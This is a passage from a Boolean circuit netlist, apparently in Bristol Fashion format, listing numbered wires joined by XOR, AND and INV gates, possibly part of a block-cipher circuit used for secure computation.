8304 8241 XOR +2 1 8228 8231 8313 XOR +2 1 8313 8345 8300 AND +2 1 8313 8354 8291 AND +2 1 8296 8300 8272 XOR +1 1 8272 8250 INV +2 1 8250 8294 8249 XOR +2 1 8249 8287 8245 XOR +2 1 8601 8618 8513 XOR +2 1 8513 8615 8508 XOR +2 1 8508 8511 8593 XOR +2 1 8593 8625 8580 AND +2 1 8508 8509 8592 XOR +2 1 8592 8635 8573 AND +2 1 8572 8573 8566 XOR +2 1 8539 8566 8535 XOR +2 1 8567 8535 8538 XOR +2 1 8537 8538 8641 XOR +2 1 8578 8566 8548 XOR +2 1 8579 8548 8549 XOR +2 1 8587 8549 8553 XOR +2 1 8586 8553 8522 XOR +2 1 8521 8522 35811 XOR +2 1 8588 8553 8558 XOR +2 1 8570 8558 35812 XOR +2 1 8576 8580 8552 XOR +1 1 8552 8530 INV +2 1 8530 8574 8529 XOR +2 1 8529 8567 8525 XOR +2 1 8573 8525 8528 XOR +2 1 8548 8525 8524 XOR +2 1 8523 8524 35810 XOR +2 1 8530 8535 8534 XOR +2 1 8533 8534 8640 XOR +2 1 8592 8624 8582 AND +2 1 8582 8560 8520 XOR +2 1 8581 8582 8532 XOR +2 1 8558 8532 8639 XOR +1 1 8639 35813 INV +2 1 8549 8520 35814 XOR +1 1 8640 32809 INV +1 1 8641 32810 INV +2 1 8593 8634 8571 AND +2 1 8582 8571 8531 XOR +1 1 8531 8527 INV +2 1 8527 8528 8638 XOR +1 1 8638 32813 INV +2 1 13994 14089 14081 XOR +2 1 33766 14081 14080 XOR +2 1 14082 14080 14073 AND +2 1 14081 14085 14074 AND +2 1 14074 13997 14000 XOR +2 1 14000 13998 14004 XOR +2 1 33773 14004 14010 XOR +2 1 8325 8337 8230 XOR +2 1 8230 8266 8226 XOR +2 1 33899 8226 8225 XOR +2 1 8224 8225 8309 XOR +2 1 8309 8357 8292 AND +2 1 8309 8342 8301 AND +2 1 8301 8304 8256 XOR +1 1 8256 8253 INV +2 1 33901 8226 8229 XOR +2 1 8228 8229 8312 XOR +2 1 8312 8344 8302 AND +2 1 8302 8291 8251 XOR +2 1 8312 8355 8293 AND +2 1 8292 8293 8286 XOR +2 1 8259 8286 8255 XOR +2 1 8287 8255 8258 XOR +2 1 8257 8258 8361 XOR +2 1 8298 8286 8268 XOR +2 1 8250 8255 8254 XOR +1 1 8251 8247 INV +2 1 8301 8290 8280 XOR +2 1 8299 8268 8269 XOR +2 1 8301 8302 8252 XOR +2 1 8253 8254 8360 XOR +2 1 8293 8245 8248 XOR +2 1 8247 8248 8358 XOR +2 1 8297 8280 8246 XOR +2 1 8302 8280 8240 XOR +2 1 8269 8240 35855 XOR +1 1 8246 8243 INV +2 1 8268 8245 8244 XOR +2 1 8243 8244 35851 XOR +2 1 8307 8269 8273 XOR +2 1 8308 8273 8278 XOR +2 1 8290 8278 35853 XOR +2 1 8278 8252 8359 XOR +1 1 8359 35854 INV +1 1 35853 8698 INV +2 1 8306 8273 8242 XOR +2 1 8241 8242 35852 XOR +1 1 8360 32807 INV +1 1 8361 32808 INV +1 1 8358 32812 INV +2 1 8359 32812 8873 XOR +2 1 33773 33768 14088 XOR +2 1 14088 14079 14066 AND +2 1 14066 14069 14020 XOR +2 1 13999 14020 13973 XOR +2 1 13973 13998 14063 XOR +2 1 14066 14072 14024 XOR +2 1 14024 13995 14011 XOR +2 1 14004 14024 13972 XOR +2 1 33771 13972 14016 XOR +2 1 14091 14076 14067 AND +2 1 14067 14020 14014 XOR +2 1 14067 14068 13970 XOR +2 1 14070 14014 13969 XOR +2 1 33767 13969 14057 XOR +2 1 14067 14073 14019 XOR +2 1 14019 14010 14065 XOR +2 1 14019 14011 14062 XOR +2 1 13970 13971 14018 XOR +2 1 14018 13999 14017 XOR +2 1 14070 14017 14064 XOR +2 1 14065 14064 14061 AND +2 1 14061 14016 14056 XOR +2 1 14056 14057 14055 AND +2 1 14055 14063 14054 XOR +2 1 14061 14055 14053 XOR +2 1 14063 14053 14052 AND +2 1 14055 14014 13968 XOR +2 1 14061 14063 14060 XOR +2 1 14062 14060 14059 AND +2 1 14059 14010 13961 XOR +2 1 14059 14071 13964 XOR +2 1 14059 14016 14058 XOR +2 1 14058 14077 14037 AND +2 1 14058 14084 14028 AND +2 1 13964 14000 13960 XOR +2 1 33771 13960 13959 XOR +2 1 33773 13960 13963 XOR +2 1 14054 14086 14031 AND +2 1 14052 14070 14023 XOR +2 1 33767 14023 14005 XOR +2 1 14005 13968 14051 XOR +2 1 14051 14082 14032 AND +2 1 14051 14080 14041 AND +2 1 14052 14060 14050 XOR +2 1 14058 14050 14049 AND +2 1 14049 14019 14009 XOR +2 1 14009 13961 14045 XOR +2 1 14045 14075 14039 AND +2 1 14045 14090 14030 AND +2 1 14039 14030 13991 XOR +2 1 14009 14011 14048 XOR +2 1 14048 14083 14029 AND +2 1 14048 14087 14038 AND +2 1 14038 14039 14007 XOR +2 1 14037 14029 13993 XOR +2 1 14037 14038 13975 XOR +2 1 14023 14017 14044 XOR +2 1 14044 14085 14033 AND +2 1 14044 14081 14042 AND +2 1 14055 14072 13967 XOR +2 1 13967 14069 13962 XOR +2 1 13962 13963 14046 XOR +2 1 14046 14089 14027 AND +2 1 14046 14078 14036 AND +2 1 14049 14073 13966 XOR +2 1 14005 13966 13958 XOR +2 1 13995 13958 13965 XOR +2 1 13958 13959 14043 XOR +2 1 14043 14091 14026 AND +2 1 14026 14027 14021 XOR +2 1 13962 13965 14047 XOR +2 1 14047 14088 14025 AND +2 1 14036 14025 13985 XOR +2 1 14032 14021 14002 XOR +2 1 14033 14002 14003 XOR +2 1 13993 14021 13989 XOR +2 1 14043 14076 14035 AND +2 1 14035 14038 13990 XOR +2 1 14035 14007 14015 XOR +2 1 14031 14015 13980 XOR +1 1 13980 13977 INV +2 1 14036 14015 13974 XOR +2 1 14003 13974 35654 XOR +2 1 35654 35658 8127 XOR +2 1 8149 8127 8079 XOR +2 1 35662 8079 35593 XOR +2 1 35593 640 34021 XOR +2 1 8127 35666 8092 XOR +2 1 8092 8093 35585 XOR +2 1 35585 648 34013 XOR +2 1 8176 8127 8116 XOR +2 1 35654 35666 8138 XOR +2 1 8138 35657 8124 XOR +2 1 8176 8138 7936 XOR +1 1 13985 13981 INV +1 1 13990 13987 INV +2 1 14047 14079 14034 AND +2 1 14030 14034 14006 XOR +2 1 32917 7936 35562 XOR +2 1 35562 671 33990 XOR +2 1 14041 14003 14008 XOR +2 1 14042 14008 14013 XOR +2 1 14007 14013 35652 XOR +1 1 35652 7931 INV +2 1 35665 7931 8121 XOR +2 1 8120 8121 35567 XOR +2 1 35567 666 33995 XOR +2 1 35652 35657 8192 XOR +2 1 8192 8146 8097 XOR +2 1 8097 8098 35582 XOR +2 1 35582 651 34010 XOR +2 1 8198 8192 35590 XOR +2 1 35590 643 34018 XOR +2 1 34010 34013 30538 XOR +2 1 34018 34021 31518 XOR +2 1 35656 7931 7930 XOR +2 1 14035 14036 13986 XOR +2 1 14013 13986 14093 XOR +2 1 35658 14093 8118 XOR +2 1 8117 8118 35569 XOR +2 1 35569 664 33997 XOR +2 1 33995 33997 30584 XOR +1 1 14093 35653 INV +2 1 35653 32923 8191 XOR +2 1 8191 8126 8102 XOR +2 1 35654 8102 35577 XOR +2 1 8191 33107 8080 XOR +2 1 8080 8081 35592 XOR +2 1 8191 8151 8094 XOR +2 1 33108 8094 35584 XOR +2 1 35584 649 34012 XOR +2 1 35592 641 34020 XOR +2 1 34010 34012 30446 XOR +2 1 35577 656 34005 XOR +2 1 34018 34020 31426 XOR +1 1 14006 13984 INV +2 1 13984 14028 13983 XOR +2 1 13984 13989 13988 XOR +2 1 13987 13988 14094 XOR +1 1 14094 32873 INV +2 1 32873 32924 8181 XOR +1 1 8181 8090 INV +2 1 8090 8176 8088 XOR +2 1 8088 8089 35587 XOR +2 1 8181 8144 8112 XOR +2 1 35587 646 34015 XOR +2 1 8221 8181 35579 XOR +2 1 35579 654 34007 XOR +2 1 8144 32873 7934 XOR +2 1 7934 7935 35564 XOR +2 1 35564 669 33992 XOR +2 1 34013 34007 30539 XOR +2 1 33997 33992 30677 XOR +2 1 34021 34015 31519 XOR +2 1 14054 33766 14040 AND +2 1 14040 14042 14022 XOR +2 1 14022 13989 13992 XOR +2 1 13991 13992 14095 XOR +2 1 13983 14022 13979 XOR +2 1 14027 13979 13982 XOR +2 1 13981 13982 14092 XOR +2 1 14002 13979 13978 XOR +2 1 13977 13978 35650 XOR +2 1 35650 8112 35572 XOR +2 1 35572 661 34000 XOR +2 1 35650 35655 8166 XOR +2 1 8166 8156 8087 XOR +2 1 35659 8087 35588 XOR +2 1 35588 645 34016 XOR +2 1 8166 35663 8099 XOR +2 1 8099 8100 35580 XOR +2 1 35580 653 34008 XOR +2 1 8138 35650 7892 XOR +2 1 7892 7893 8214 XOR +2 1 8214 8146 35565 XOR +2 1 35565 668 33993 XOR +2 1 34005 34000 28717 XOR +2 1 34007 34008 30460 XOR +2 1 30538 30460 30534 XOR +2 1 34008 34010 30540 XOR +2 1 34013 34008 30537 XOR +2 1 33993 33992 30560 XOR +2 1 34015 34016 31440 XOR +2 1 31518 31440 31514 XOR +2 1 34016 34018 31520 XOR +2 1 34021 34016 31517 XOR +1 1 14095 32874 INV +2 1 32874 8116 35570 XOR +2 1 8138 32874 7890 XOR +2 1 32874 32917 8189 XOR +2 1 8189 8141 8101 XOR +2 1 33102 8101 35578 XOR +2 1 8189 8156 8114 XOR +2 1 8189 8126 8091 XOR +2 1 32797 8091 35586 XOR +2 1 35578 655 34006 XOR +2 1 35586 647 34014 XOR +2 1 34006 34012 30450 XOR +2 1 34014 34020 31430 XOR +2 1 35570 663 33998 XOR +2 1 7890 7891 8215 XOR +2 1 8215 8156 35563 XOR +2 1 35563 670 33991 XOR +2 1 33991 33993 30583 XOR +2 1 33992 30583 30585 XOR +2 1 33995 30585 30664 XOR +2 1 33991 33992 30600 XOR +2 1 33997 33991 30679 XOR +2 1 30679 30664 30660 AND +2 1 30660 30584 30588 XOR +1 1 14092 32880 INV +2 1 14093 32880 8105 XOR +2 1 8104 8105 8103 XOR +1 1 8103 35576 INV +2 1 35576 657 34004 XOR +2 1 32880 8082 35591 XOR +2 1 32880 33107 8161 XOR +2 1 8192 8161 8108 XOR +2 1 32802 8108 35575 XOR +2 1 8161 8149 8119 XOR +2 1 32923 8119 35568 XOR +2 1 8161 35661 8095 XOR +2 1 8095 8096 35583 XOR +2 1 35575 658 34003 XOR +2 1 35583 650 34011 XOR +2 1 35568 665 33996 XOR +2 1 34003 34005 28624 XOR +2 1 33998 34004 28630 XOR +2 1 28624 28630 28713 XOR +2 1 34003 28630 28716 XOR +2 1 34011 34013 30444 XOR +2 1 30444 30540 30525 XOR +2 1 30444 30450 30533 XOR +2 1 30460 30533 30531 XOR +2 1 34011 30450 30536 XOR +2 1 34007 30536 30532 XOR +2 1 30446 30444 30406 XOR +2 1 30446 34011 30405 XOR +2 1 34006 30405 30535 XOR +2 1 30535 34006 30521 AND +2 1 30536 30532 30519 AND +2 1 30540 30525 30516 AND +2 1 33996 30585 30667 XOR +2 1 33990 33996 30590 XOR +2 1 30590 30585 30666 XOR +2 1 30584 30590 30673 XOR +2 1 30600 30673 30671 XOR +2 1 33995 30590 30676 XOR +2 1 33991 30676 30672 XOR +2 1 30676 30672 30659 AND +2 1 30673 30666 30658 AND +2 1 35591 642 34019 XOR +2 1 34019 34021 31424 XOR +2 1 31424 31520 31505 XOR +2 1 31424 31430 31513 XOR +2 1 31440 31513 31511 XOR +2 1 34019 31430 31516 XOR +2 1 34015 31516 31512 XOR +2 1 31426 31424 31386 XOR +2 1 31426 34019 31385 XOR +2 1 34014 31385 31515 XOR +2 1 31515 34014 31501 AND +2 1 31516 31512 31499 AND +2 1 31520 31505 31496 AND +2 1 14040 14008 13976 XOR +2 1 13975 13976 35651 XOR +2 1 8086 35651 8085 XOR +2 1 8084 8085 8083 XOR +1 1 8083 35589 INV +2 1 35589 644 34017 XOR +2 1 35651 35664 8152 XOR +2 1 8152 8143 8123 XOR +2 1 8166 8152 8111 XOR +1 1 8111 8109 INV +2 1 8123 8124 35566 XOR +2 1 35566 667 33994 XOR +2 1 8220 8152 35581 XOR +2 1 35581 652 34009 XOR +2 1 34007 34009 30443 XOR +2 1 34008 30443 30445 XOR +2 1 34012 30445 30527 XOR +2 1 34011 30445 30524 XOR +2 1 30450 30445 30526 XOR +2 1 30443 30538 30530 XOR +2 1 34006 30530 30529 XOR +2 1 34009 34008 30420 XOR +2 1 30443 30406 30528 XOR +2 1 30530 30534 30523 AND +2 1 30523 30446 30449 XOR +2 1 30531 30529 30522 AND +2 1 30516 30522 30467 XOR +2 1 30539 30524 30520 AND +2 1 30520 30444 30448 XOR +2 1 30533 30526 30518 AND +2 1 30538 30527 30517 AND +2 1 30517 30445 30447 XOR +2 1 30449 30447 30453 XOR +2 1 34013 30453 30458 XOR +2 1 30467 30458 30514 XOR +2 1 30516 30517 30419 XOR +2 1 30419 30420 30466 XOR +2 1 30466 30448 30465 XOR +2 1 30519 30465 30513 XOR +2 1 30537 30528 30515 AND +2 1 30515 30518 30468 XOR +2 1 30515 30521 30472 XOR +2 1 30472 30444 30459 XOR +2 1 30467 30459 30511 XOR +2 1 30516 30468 30462 XOR +2 1 30448 30468 30422 XOR +2 1 30422 30447 30512 XOR +2 1 30453 30472 30421 XOR +2 1 34011 30421 30464 XOR +2 1 30519 30462 30418 XOR +2 1 34007 30418 30506 XOR +2 1 30514 30513 30510 AND +2 1 30510 30464 30505 XOR +2 1 30510 30512 30509 XOR +2 1 30511 30509 30508 AND +2 1 30508 30464 30507 XOR +2 1 30508 30520 30413 XOR +2 1 30413 30449 30409 XOR +2 1 34013 30409 30412 XOR +2 1 30508 30458 30410 XOR +2 1 34011 30409 30408 XOR +2 1 30505 30506 30504 AND +2 1 30504 30512 30503 XOR +2 1 30510 30504 30502 XOR +2 1 30504 30462 30417 XOR +2 1 30504 30521 30416 XOR +2 1 30416 30518 30411 XOR +2 1 30411 30412 30495 XOR +2 1 30512 30502 30501 AND +2 1 30501 30509 30499 XOR +2 1 30501 30519 30471 XOR +2 1 30471 30465 30493 XOR +2 1 34007 30471 30454 XOR +2 1 30454 30417 30500 XOR +2 1 30507 30499 30498 AND +2 1 30498 30467 30457 XOR +2 1 30457 30459 30497 XOR +2 1 30498 30522 30415 XOR +2 1 30454 30415 30407 XOR +2 1 30444 30407 30414 XOR +2 1 30411 30414 30496 XOR +2 1 30457 30410 30494 XOR +2 1 30407 30408 30492 XOR +2 1 30493 30530 30491 AND +2 1 30500 30529 30490 AND +2 1 30503 34006 30489 AND +2 1 30489 30491 30470 XOR +2 1 30494 30524 30488 AND +2 1 30497 30536 30487 AND +2 1 30487 30488 30473 XOR +2 1 30507 30526 30486 AND +2 1 30486 30487 30424 XOR +2 1 30495 30527 30485 AND +2 1 30492 30525 30484 AND +2 1 30484 30473 30463 XOR +2 1 30484 30487 30439 XOR +1 1 30439 30436 INV +2 1 30484 30485 30435 XOR +2 1 30485 30463 30423 XOR +2 1 30496 30528 30483 AND +2 1 30493 30534 30482 AND +2 1 30500 30531 30481 AND +2 1 30503 30535 30480 AND +2 1 30480 30463 30429 XOR +1 1 30429 30426 INV +2 1 30494 30539 30479 AND +2 1 30479 30483 30455 XOR +2 1 30488 30479 30440 XOR +1 1 30455 30433 INV +2 1 30497 30532 30478 AND +2 1 30486 30478 30442 XOR +2 1 30507 30533 30477 AND +2 1 30433 30477 30432 XOR +2 1 30432 30470 30428 XOR +2 1 30495 30538 30476 AND +2 1 30476 30428 30431 XOR +2 1 30492 30540 30475 AND +2 1 30475 30476 30469 XOR +2 1 30481 30469 30451 XOR +2 1 30482 30451 30452 XOR +2 1 30490 30452 30456 XOR +2 1 30491 30456 30461 XOR +2 1 30473 30461 35808 XOR +2 1 35808 35812 8952 XOR +2 1 30442 30469 30438 XOR +2 1 30470 30438 30441 XOR +2 1 30440 30441 30544 XOR +2 1 30433 30438 30437 XOR +2 1 30436 30437 30543 XOR +2 1 32809 30543 8821 XOR +2 1 30461 30435 30542 XOR +2 1 30451 30428 30427 XOR +2 1 30426 30427 35806 XOR +1 1 35806 8694 INV +2 1 30489 30456 30425 XOR +2 1 30424 30425 35807 XOR +2 1 35807 8694 8693 XOR +2 1 35807 35811 8955 XOR +2 1 30452 30423 35809 XOR +2 1 35809 35814 8900 XOR +1 1 8900 8695 INV +2 1 8695 35808 8818 XOR +2 1 8695 35810 8692 XOR +2 1 8692 8693 8968 XOR +2 1 8900 32810 8690 XOR +2 1 30496 30537 30474 AND +2 1 30485 30474 30434 XOR +1 1 30434 30430 INV +2 1 30430 30431 30541 XOR +1 1 30543 35805 INV +2 1 33994 33996 30586 XOR +2 1 33994 33997 30678 XOR +2 1 30678 30600 30674 XOR +2 1 30583 30678 30670 XOR +2 1 33990 30670 30669 XOR +2 1 33992 33994 30680 XOR +2 1 30584 30680 30665 XOR +2 1 30586 30584 30546 XOR +2 1 30583 30546 30668 XOR +2 1 30586 33995 30545 XOR +2 1 33990 30545 30675 XOR +2 1 30670 30674 30663 AND +2 1 30663 30586 30589 XOR +2 1 30671 30669 30662 AND +2 1 30675 33990 30661 AND +2 1 30678 30667 30657 AND +2 1 30657 30585 30587 XOR +2 1 30589 30587 30593 XOR +2 1 33997 30593 30598 XOR +2 1 30680 30665 30656 AND +2 1 30656 30662 30607 XOR +2 1 30607 30598 30654 XOR +2 1 30656 30657 30559 XOR +2 1 30559 30560 30606 XOR +2 1 30606 30588 30605 XOR +2 1 30659 30605 30653 XOR +2 1 30677 30668 30655 AND +2 1 30655 30658 30608 XOR +2 1 30655 30661 30612 XOR +2 1 30612 30584 30599 XOR +2 1 30607 30599 30651 XOR +2 1 30656 30608 30602 XOR +2 1 30588 30608 30562 XOR +2 1 30562 30587 30652 XOR +2 1 30593 30612 30561 XOR +2 1 33995 30561 30604 XOR +2 1 30659 30602 30558 XOR +2 1 33991 30558 30646 XOR +2 1 30654 30653 30650 AND +2 1 30650 30604 30645 XOR +2 1 30650 30652 30649 XOR +2 1 30651 30649 30648 AND +2 1 30648 30604 30647 XOR +2 1 30648 30660 30553 XOR +2 1 30553 30589 30549 XOR +2 1 33997 30549 30552 XOR +2 1 30648 30598 30550 XOR +2 1 33995 30549 30548 XOR +2 1 30645 30646 30644 AND +2 1 30644 30652 30643 XOR +2 1 30650 30644 30642 XOR +2 1 30644 30602 30557 XOR +2 1 30644 30661 30556 XOR +2 1 30556 30658 30551 XOR +2 1 30551 30552 30635 XOR +2 1 30652 30642 30641 AND +2 1 30641 30649 30639 XOR +2 1 30641 30659 30611 XOR +2 1 30611 30605 30633 XOR +2 1 33991 30611 30594 XOR +2 1 30594 30557 30640 XOR +2 1 30647 30639 30638 AND +2 1 30638 30607 30597 XOR +2 1 30597 30599 30637 XOR +2 1 30638 30662 30555 XOR +2 1 30594 30555 30547 XOR +2 1 30584 30547 30554 XOR +2 1 30551 30554 30636 XOR +2 1 30597 30550 30634 XOR +2 1 30547 30548 30632 XOR +2 1 30633 30670 30631 AND +2 1 30640 30669 30630 AND +2 1 30643 33990 30629 AND +2 1 30629 30631 30610 XOR +2 1 30634 30664 30628 AND +2 1 30637 30676 30627 AND +2 1 30627 30628 30613 XOR +2 1 30647 30666 30626 AND +2 1 30626 30627 30564 XOR +2 1 30635 30667 30625 AND +2 1 30632 30665 30624 AND +2 1 30624 30613 30603 XOR +2 1 30624 30627 30579 XOR +1 1 30579 30576 INV +2 1 30624 30625 30575 XOR +2 1 30625 30603 30563 XOR +2 1 30636 30668 30623 AND +2 1 30633 30674 30622 AND +2 1 30640 30671 30621 AND +2 1 30643 30675 30620 AND +2 1 30620 30603 30569 XOR +1 1 30569 30566 INV +2 1 30634 30679 30619 AND +2 1 30619 30623 30595 XOR +2 1 30628 30619 30580 XOR +1 1 30595 30573 INV +2 1 30637 30672 30618 AND +2 1 30626 30618 30582 XOR +2 1 30647 30673 30617 AND +2 1 30573 30617 30572 XOR +2 1 30572 30610 30568 XOR +2 1 30635 30678 30616 AND +2 1 30616 30568 30571 XOR +2 1 30632 30680 30615 AND +2 1 30615 30616 30609 XOR +2 1 30621 30609 30591 XOR +2 1 30622 30591 30592 XOR +2 1 30630 30592 30596 XOR +2 1 30631 30596 30601 XOR +2 1 30613 30601 35834 XOR +2 1 30582 30609 30578 XOR +2 1 30610 30578 30581 XOR +2 1 30580 30581 30684 XOR +2 1 30573 30578 30577 XOR +2 1 30576 30577 30683 XOR +2 1 30601 30575 30682 XOR +2 1 30591 30568 30567 XOR +2 1 30566 30567 35832 XOR +2 1 30629 30596 30565 XOR +2 1 30564 30565 35833 XOR +2 1 30592 30563 35835 XOR +2 1 30636 30677 30614 AND +2 1 30625 30614 30574 XOR +1 1 30574 30570 INV +2 1 30570 30571 30681 XOR +2 1 34015 34017 31423 XOR +2 1 34016 31423 31425 XOR +2 1 34020 31425 31507 XOR +2 1 34019 31425 31504 XOR +2 1 31430 31425 31506 XOR +2 1 31423 31518 31510 XOR +2 1 34014 31510 31509 XOR +2 1 34017 34016 31400 XOR +2 1 31423 31386 31508 XOR +2 1 31510 31514 31503 AND +2 1 31503 31426 31429 XOR +2 1 31511 31509 31502 AND +2 1 31496 31502 31447 XOR +2 1 31519 31504 31500 AND +2 1 31500 31424 31428 XOR +2 1 31513 31506 31498 AND +2 1 31518 31507 31497 AND +2 1 31497 31425 31427 XOR +2 1 31429 31427 31433 XOR +2 1 34021 31433 31438 XOR +2 1 31447 31438 31494 XOR +2 1 31496 31497 31399 XOR +2 1 31399 31400 31446 XOR +2 1 31446 31428 31445 XOR +2 1 31499 31445 31493 XOR +2 1 31517 31508 31495 AND +2 1 31495 31498 31448 XOR +2 1 31495 31501 31452 XOR +2 1 31452 31424 31439 XOR +2 1 31447 31439 31491 XOR +2 1 31496 31448 31442 XOR +2 1 31428 31448 31402 XOR +2 1 31402 31427 31492 XOR +2 1 31433 31452 31401 XOR +2 1 34019 31401 31444 XOR +2 1 31499 31442 31398 XOR +2 1 34015 31398 31486 XOR +2 1 31494 31493 31490 AND +2 1 31490 31444 31485 XOR +2 1 31490 31492 31489 XOR +2 1 31491 31489 31488 AND +2 1 31488 31444 31487 XOR +2 1 31488 31500 31393 XOR +2 1 31393 31429 31389 XOR +2 1 34021 31389 31392 XOR +2 1 31488 31438 31390 XOR +2 1 34019 31389 31388 XOR +2 1 31485 31486 31484 AND +2 1 31484 31492 31483 XOR +2 1 31490 31484 31482 XOR +2 1 31484 31442 31397 XOR +2 1 31484 31501 31396 XOR +2 1 31396 31498 31391 XOR +2 1 31391 31392 31475 XOR +2 1 31492 31482 31481 AND +2 1 31481 31489 31479 XOR +2 1 31481 31499 31451 XOR +2 1 31451 31445 31473 XOR +2 1 34015 31451 31434 XOR +2 1 31434 31397 31480 XOR +2 1 31487 31479 31478 AND +2 1 31478 31447 31437 XOR +2 1 31437 31439 31477 XOR +2 1 31478 31502 31395 XOR +2 1 31434 31395 31387 XOR +2 1 31424 31387 31394 XOR +2 1 31391 31394 31476 XOR +2 1 31437 31390 31474 XOR +2 1 31387 31388 31472 XOR +2 1 31473 31510 31471 AND +2 1 31480 31509 31470 AND +2 1 31483 34014 31469 AND +2 1 31469 31471 31450 XOR +2 1 31474 31504 31468 AND +2 1 31477 31516 31467 AND +2 1 31467 31468 31453 XOR +2 1 31487 31506 31466 AND +2 1 31466 31467 31404 XOR +2 1 31475 31507 31465 AND +2 1 31472 31505 31464 AND +2 1 31464 31453 31443 XOR +2 1 31464 31467 31419 XOR +1 1 31419 31416 INV +2 1 31464 31465 31415 XOR +2 1 31465 31443 31403 XOR +2 1 31476 31508 31463 AND +2 1 31473 31514 31462 AND +2 1 31480 31511 31461 AND +2 1 31483 31515 31460 AND +2 1 31460 31443 31409 XOR +1 1 31409 31406 INV +2 1 31474 31519 31459 AND +2 1 31459 31463 31435 XOR +2 1 31468 31459 31420 XOR +1 1 31435 31413 INV +2 1 31477 31512 31458 AND +2 1 31466 31458 31422 XOR +2 1 31487 31513 31457 AND +2 1 31413 31457 31412 XOR +2 1 31412 31450 31408 XOR +2 1 31475 31518 31456 AND +2 1 31456 31408 31411 XOR +2 1 31472 31520 31455 AND +2 1 31455 31456 31449 XOR +2 1 31461 31449 31431 XOR +2 1 31462 31431 31432 XOR +2 1 31470 31432 31436 XOR +2 1 31471 31436 31441 XOR +2 1 31453 31441 35866 XOR +2 1 35866 8698 8889 XOR +2 1 31422 31449 31418 XOR +2 1 31450 31418 31421 XOR +2 1 31420 31421 31524 XOR +2 1 31413 31418 31417 XOR +2 1 31416 31417 31523 XOR +2 1 31441 31415 31522 XOR +2 1 31431 31408 31407 XOR +2 1 31406 31407 35864 XOR +2 1 31469 31436 31405 XOR +2 1 31404 31405 35865 XOR +2 1 35852 35865 8920 XOR +2 1 31432 31403 35867 XOR +2 1 35855 35867 8906 XOR +2 1 8906 35851 8658 XOR +2 1 31476 31517 31454 AND +2 1 31465 31454 31414 XOR +1 1 31414 31410 INV +2 1 31410 31411 31521 XOR +2 1 35865 35864 8659 XOR +2 1 8658 8659 8982 XOR +1 1 30544 33177 INV +1 1 30683 33181 INV +1 1 30684 33182 INV +1 1 30541 33183 INV +2 1 33183 32813 8948 XOR +1 1 30542 33184 INV +2 1 33184 35813 8945 XOR +1 1 30681 33187 INV +1 1 30682 33188 INV +1 1 31523 33205 INV +1 1 31524 33206 INV +1 1 31521 33211 INV +2 1 32812 33211 8929 XOR +1 1 31522 33212 INV +2 1 8906 32808 8656 XOR +1 1 7080 33242 INV +2 1 33242 32882 6901 XOR +2 1 6900 6901 35354 XOR +2 1 35354 806 33855 XOR +2 1 33242 35442 6896 XOR +2 1 6895 6896 35356 XOR +2 1 35356 804 33857 XOR +2 1 33242 35443 6893 XOR +2 1 6892 6893 35357 XOR +2 1 35357 803 33858 XOR +2 1 33855 33857 27223 XOR +2 1 33856 27223 27225 XOR +2 1 33860 27225 27307 XOR +2 1 33859 27225 27304 XOR +2 1 27230 27225 27306 XOR +2 1 33858 33860 27226 XOR +2 1 33855 27316 27312 XOR +2 1 33858 33861 27318 XOR +2 1 27223 27318 27310 XOR +2 1 33854 27310 27309 XOR +2 1 33855 33856 27240 XOR +2 1 27240 27313 27311 XOR +2 1 27318 27240 27314 XOR +2 1 33856 33858 27320 XOR +2 1 27224 27320 27305 XOR +2 1 33857 33856 27200 XOR +2 1 27226 27224 27186 XOR +2 1 27223 27186 27308 XOR +2 1 27226 33859 27185 XOR +2 1 33854 27185 27315 XOR +2 1 33861 33855 27319 XOR +2 1 27310 27314 27303 AND +2 1 27303 27226 27229 XOR +2 1 27311 27309 27302 AND +2 1 27315 33854 27301 AND +2 1 27319 27304 27300 AND +2 1 27300 27224 27228 XOR +2 1 27316 27312 27299 AND +2 1 27313 27306 27298 AND +2 1 27318 27307 27297 AND +2 1 27297 27225 27227 XOR +2 1 27229 27227 27233 XOR +2 1 33861 27233 27238 XOR +2 1 27320 27305 27296 AND +2 1 27296 27302 27247 XOR +2 1 27247 27238 27294 XOR +2 1 27296 27297 27199 XOR +2 1 27199 27200 27246 XOR +2 1 27246 27228 27245 XOR +2 1 27299 27245 27293 XOR +2 1 27317 27308 27295 AND +2 1 27295 27298 27248 XOR +2 1 27295 27301 27252 XOR +2 1 27252 27224 27239 XOR +2 1 27247 27239 27291 XOR +2 1 27296 27248 27242 XOR +2 1 27228 27248 27202 XOR +2 1 27202 27227 27292 XOR +2 1 27233 27252 27201 XOR +2 1 33859 27201 27244 XOR +2 1 27299 27242 27198 XOR +2 1 33855 27198 27286 XOR +2 1 27294 27293 27290 AND +2 1 27290 27244 27285 XOR +2 1 27290 27292 27289 XOR +2 1 27291 27289 27288 AND +2 1 27288 27244 27287 XOR +2 1 27288 27300 27193 XOR +2 1 27193 27229 27189 XOR +2 1 33861 27189 27192 XOR +2 1 27288 27238 27190 XOR +2 1 33859 27189 27188 XOR +2 1 27285 27286 27284 AND +2 1 27284 27292 27283 XOR +2 1 27290 27284 27282 XOR +2 1 27284 27242 27197 XOR +2 1 27284 27301 27196 XOR +2 1 27196 27298 27191 XOR +2 1 27191 27192 27275 XOR +2 1 27292 27282 27281 AND +2 1 27281 27289 27279 XOR +2 1 27281 27299 27251 XOR +2 1 27251 27245 27273 XOR +2 1 33855 27251 27234 XOR +2 1 27234 27197 27280 XOR +2 1 27287 27279 27278 AND +2 1 27278 27247 27237 XOR +2 1 27237 27239 27277 XOR +2 1 27278 27302 27195 XOR +2 1 27234 27195 27187 XOR +2 1 27224 27187 27194 XOR +2 1 27191 27194 27276 XOR +2 1 27237 27190 27274 XOR +2 1 27187 27188 27272 XOR +2 1 27273 27310 27271 AND +2 1 27280 27309 27270 AND +2 1 27283 33854 27269 AND +2 1 27269 27271 27250 XOR +2 1 27274 27304 27268 AND +2 1 27277 27316 27267 AND +2 1 27267 27268 27253 XOR +2 1 27287 27306 27266 AND +2 1 27266 27267 27204 XOR +2 1 27275 27307 27265 AND +2 1 27272 27305 27264 AND +2 1 27264 27253 27243 XOR +2 1 27264 27267 27219 XOR +1 1 27219 27216 INV +2 1 27264 27265 27215 XOR +2 1 27265 27243 27203 XOR +2 1 27276 27308 27263 AND +2 1 27273 27314 27262 AND +2 1 27280 27311 27261 AND +2 1 27283 27315 27260 AND +2 1 27260 27243 27209 XOR +1 1 27209 27206 INV +2 1 27274 27319 27259 AND +2 1 27259 27263 27235 XOR +2 1 27268 27259 27220 XOR +1 1 27235 27213 INV +2 1 27277 27312 27258 AND +2 1 27266 27258 27222 XOR +2 1 27287 27313 27257 AND +2 1 27213 27257 27212 XOR +2 1 27212 27250 27208 XOR +2 1 27275 27318 27256 